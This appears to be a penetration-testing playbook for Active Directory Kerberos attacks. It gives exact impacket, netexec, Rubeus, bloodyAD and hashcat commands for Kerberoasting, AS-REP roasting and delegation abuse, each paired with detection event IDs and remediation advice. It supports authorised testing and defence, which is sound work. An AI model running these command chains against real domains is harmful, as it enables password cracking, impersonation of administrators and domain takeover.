Kerberos Attacks

Kerberos Attacks

Standard-tooling playbook for the four Kerberos abuse families you meet on almost every internal AD engagement. You drive every tool yourself. This skill tells you what each attack is, the exact command, how the loot looks and how to crack it, what the DC logs, and what the remediation write-up should say.

Requirements before you touch these: valid domain credentials (any user is enough for Kerberoasting and delegation reads; AS-REP roasting needs only a username list), correct DNS pointing at the DC, and clock skew under 5 minutes or Kerberos rejects your tickets (KRB_AP_ERR_SKEW). Sync with sudo ntpdate <dc-ip> or faketime.

1. Kerberoasting

MITRE ATT&CK: T1558.003 (Steal or Forge Kerberos Tickets: Kerberoasting)

What it is. Any authenticated user can request a service ticket (TGS) for any account that has a Service Principal Name (SPN) set. The TGS is encrypted with the service account's password-derived key. If the DC hands you an RC4 (etype 23) ticket, you crack it offline to recover the account's cleartext password. Service accounts are the target because they often have weak, non-expiring, human-set passwords and elevated rights.

Standard commands.

Request tickets for every kerberoastable account (impacket):

GetUserSPNs.py -request -dc-ip 10.0.0.10 CORP.LOCAL/svc_user:'Password123' -outputfile kerb_hashes.txt

Enumerate first without requesting (see who is roastable before making noise):

GetUserSPNs.py -dc-ip 10.0.0.10 CORP.LOCAL/svc_user:'Password123'

netexec equivalent (also does it in one line):

nxc ldap 10.0.0.10 -u svc_user -p 'Password123' --kerberoasting kerb_hashes.txt

Targeted roast of a single account (quieter, one 4769 instead of dozens):

GetUserSPNs.py -request-user sqlsvc -dc-ip 10.0.0.10 CORP.LOCAL/svc_user:'Password123'

Hash format + cracking. The loot is a $krb5tgs$ hash. RC4 tickets are hashcat mode 13100; AES256 tickets (etype 18) are mode 19700 and are far slower.

$krb5tgs$23$*sqlsvc$CORP.LOCAL$MSSQLSvc/db01.corp.local*$a1b2...  # RC4, -m 13100
$krb5tgs$18$sqlsvc$CORP.LOCAL$...                                  # AES256, -m 19700

hashcat -m 13100 -a 0 kerb_hashes.txt rockyou.txt --force

Detection (blue-team Event IDs).

• 4769 (Kerberos service ticket requested) on the DC. The tell is Ticket Encryption Type 0x17 (RC4) when the domain otherwise uses AES, and a single account requesting many distinct service tickets in a short window. Baseline normal 4769 volume first; it is a high-noise event.
• Microsoft Defender for Identity raises a "Suspected Kerberoasting" alert on this pattern.

Remediation to write up.

• Use gMSA/dMSA for service accounts: 120-character machine-managed passwords that cannot be cracked.
• Where a human-set service password is unavoidable, enforce 25+ character passphrases and rotation.
• Set msDS-SupportedEncryptionTypes to AES-only on service accounts so RC4 tickets are never issued.
• Remove SPNs from accounts that do not actually run a service.

2. AS-REP Roasting

MITRE ATT&CK: T1558.004 (Steal or Forge Kerberos Tickets: AS-REP Roasting)

What it is. Accounts with "Do not require Kerberos preauthentication" set (DONT_REQ_PREAUTH in userAccountControl) will return an AS-REP encrypted with the user's password-derived key to anyone who asks, no credentials needed. Crack it offline for the cleartext. Because it needs no valid domain account, it works from a username list alone.

Standard commands.

Roast every preauth-disabled account (needs a valid credential to read the directory for the list):

GetNPUsers.py -dc-ip 10.0.0.10 -request CORP.LOCAL/svc_user:'Password123' -outputfile asrep_hashes.txt

Unauthenticated, spraying a username wordlist (no credential at all):

GetNPUsers.py -dc-ip 10.0.0.10 -no-pass -usersfile users.txt CORP.LOCAL/ -format hashcat

netexec equivalent:

nxc ldap 10.0.0.10 -u svc_user -p 'Password123' --asreproast asrep_hashes.txt

Hash format + cracking. Loot is a $krb5asrep$ hash, hashcat mode 18200 (RC4).

$krb5asrep$23$user@CORP.LOCAL:a1b2c3...

hashcat -m 18200 -a 0 asrep_hashes.txt rockyou.txt --force

Detection.

• 4768 (Kerberos authentication ticket / TGT requested) with pre-authentication type 0 and RC4 encryption. Normal Kerberos logons use preauth type 2, so preauth 0 is the signal.
• Sudden 4768 volume from one source against many accounts = spraying.

Remediation.

• Remove "Do not require Kerberos preauthentication" from every account that has it (audit userAccountControl for the DONT_REQ_PREAUTH bit, 0x400000).
• These accounts also need strong passwords in the meantime, since the AS-REP is crackable the instant the flag is set.

3. Delegation Abuse

Kerberos delegation lets a service impersonate a user to a downstream service. Misconfigured, it becomes a privilege-escalation and lateral-movement primitive. Three flavors.

3a. Unconstrained Delegation

MITRE ATT&CK: T1558 (Steal or Forge Kerberos Tickets) / T1550 (Use Alternate Authentication Material)

What it is. A computer or account with TRUSTED_FOR_DELEGATION in userAccountControl caches the full TGT of any user who authenticates to it. Compromise that host, force a privileged account (or a DC's machine account) to authenticate to it (see the coercion skill), and extract the TGT to impersonate that principal anywhere. A DC's TGT means domain compromise.

Find it (BloodHound CE, or LDAP):

nxc ldap 10.0.0.10 -u svc_user -p 'Password123' --trusted-for-delegation

Get-DomainComputer -Unconstrained            # PowerView, on a Windows foothold

Extract cached TGTs from a host you control (impacket, remotely via secretsdump-style flow, or Rubeus on-host):

Rubeus.exe monitor /interval:5 /nowrap          # on the compromised host, watch for inbound TGTs
Rubeus.exe dump /nowrap                          # dump cached tickets

Pair with a coercion (PetitPotam/PrinterBug) to force DC01$ to authenticate to your unconstrained host, then reuse the captured DC TGT.

Detection. 4769/4768 ticket requests tied to the delegation host; anomalous machine-account authentication to a non-DC server (a DC's $ account logging on to a member server is abnormal). Defender for Identity flags unconstrained-delegation exposure.

Remediation. Eliminate unconstrained delegation entirely; migrate to constrained or resource-based. Put sensitive accounts in the Protected Users group and/or mark them "Account is sensitive and cannot be delegated" (NOT_DELEGATED, 0x100000), which prevents their TGT from being cached.

3b. Constrained Delegation (S4U2Self / S4U2Proxy)

MITRE ATT&CK: T1558.003 area / T1550

What it is. An account configured with msDS-AllowedToDelegateTo (classic constrained delegation) can request a ticket to itself on behalf of any user (S4U2Self) and then forward it to the listed target SPN (S4U2Proxy). If protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION) is set, you can impersonate an arbitrary user, including a Domain Admin, to the target service.

Abuse (impacket getST):

getST.py -spn cifs/fileserver.corp.local -impersonate Administrator \
  -dc-ip 10.0.0.10 CORP.LOCAL/svc_web:'Password123'
export KRB5CCNAME=Administrator.ccache
nxc smb fileserver.corp.local --use-kcache

Find accounts with constrained delegation:

nxc ldap 10.0.0.10 -u svc_user -p 'Password123' --find-delegation

Detection. 4769 for the target SPN where the requesting service is impersonating a different user; unusual S4U2Proxy activity in the DC logs.

Remediation. Restrict msDS-AllowedToDelegateTo to the minimum SPNs. Disable protocol transition unless required. Protect high-value accounts with Protected Users / NOT_DELEGATED.

3c. Resource-Based Constrained Delegation (RBCD)

MITRE ATT&CK: T1550 / T1098 (Account Manipulation)

What it is. The delegation trust lives on the target object, in msDS-AllowedToActOnBehalfOfOtherIdentity. If you can write that attribute on a computer object (via GenericWrite/GenericAll/WriteDACL over it, see the ACL abuse skill), you point it at a computer account you control, then S4U your way to impersonating any user to that target. The classic chain uses MachineAccountQuota (default 10) to add your own computer account first.

Standard chain.

Add a computer account you control (if MachineAccountQuota > 0):

addcomputer.py -computer-name 'EVIL$' -computer-pass 'EvilPass123' \
  -dc-ip 10.0.0.10 CORP.LOCAL/svc_user:'Password123'

Write the RBCD attribute on the victim computer (bloodyAD):

bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u svc_user -p 'Password123' \
  add rbcd TARGET$ EVIL$

impacket alternative for the write:

rbcd.py -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action write \
  -dc-ip 10.0.0.10 CORP.LOCAL/svc_user:'Password123'

Get the impersonated ticket and use it:

getST.py -spn cifs/target.corp.local -impersonate Administrator \
  -dc-ip 10.0.0.10 'CORP.LOCAL/EVIL$:EvilPass123'
export KRB5CCNAME=Administrator.ccache
nxc smb target.corp.local --use-kcache

Detection.

• 5136 (a directory object was modified) on the victim computer's msDS-AllowedToActOnBehalfOfOtherIdentity attribute; the write is the loud, catchable moment.
• 4741 (a computer account was created) when a new machine account appears via MachineAccountQuota.
• 4769 for the target SPN with impersonation.

Remediation.

• Set MachineAccountQuota to 0 so unprivileged users cannot add computer accounts.
• Audit and lock down write access to computer objects' DACLs (no non-admin GenericWrite/WriteDACL on machine objects).
• Alert on any modification of msDS-AllowedToActOnBehalfOfOtherIdentity.
• Protected Users / NOT_DELEGATED on sensitive accounts blunts the impersonation.

Cross-cutting hardening

• Force AES across the domain and retire RC4; it kills the fast-crack path for Kerberoasting and AS-REP roasting at once.
• Machine-managed passwords (gMSA/dMSA) remove the crackable-secret problem for service accounts.
• Protected Users group + "sensitive and cannot be delegated" on Tier-0 accounts neutralizes most delegation abuse.
• Baseline 4768/4769 volumes so the RC4/preauth-0 anomalies stand out instead of drowning.

Only run these against systems you are explicitly authorized to test. Use lab or generic values in any write-up, never a client's real SPNs, hostnames, or hashes.

Reference

• Kerberoasting: https://www.thehacker.recipes/ad/movement/kerberos/roasting/kerberoast
• AS-REP roasting: https://www.thehacker.recipes/ad/movement/kerberos/roasting/asreproast
• Delegations (unconstrained / constrained / RBCD): https://www.thehacker.recipes/ad/movement/kerberos/delegations/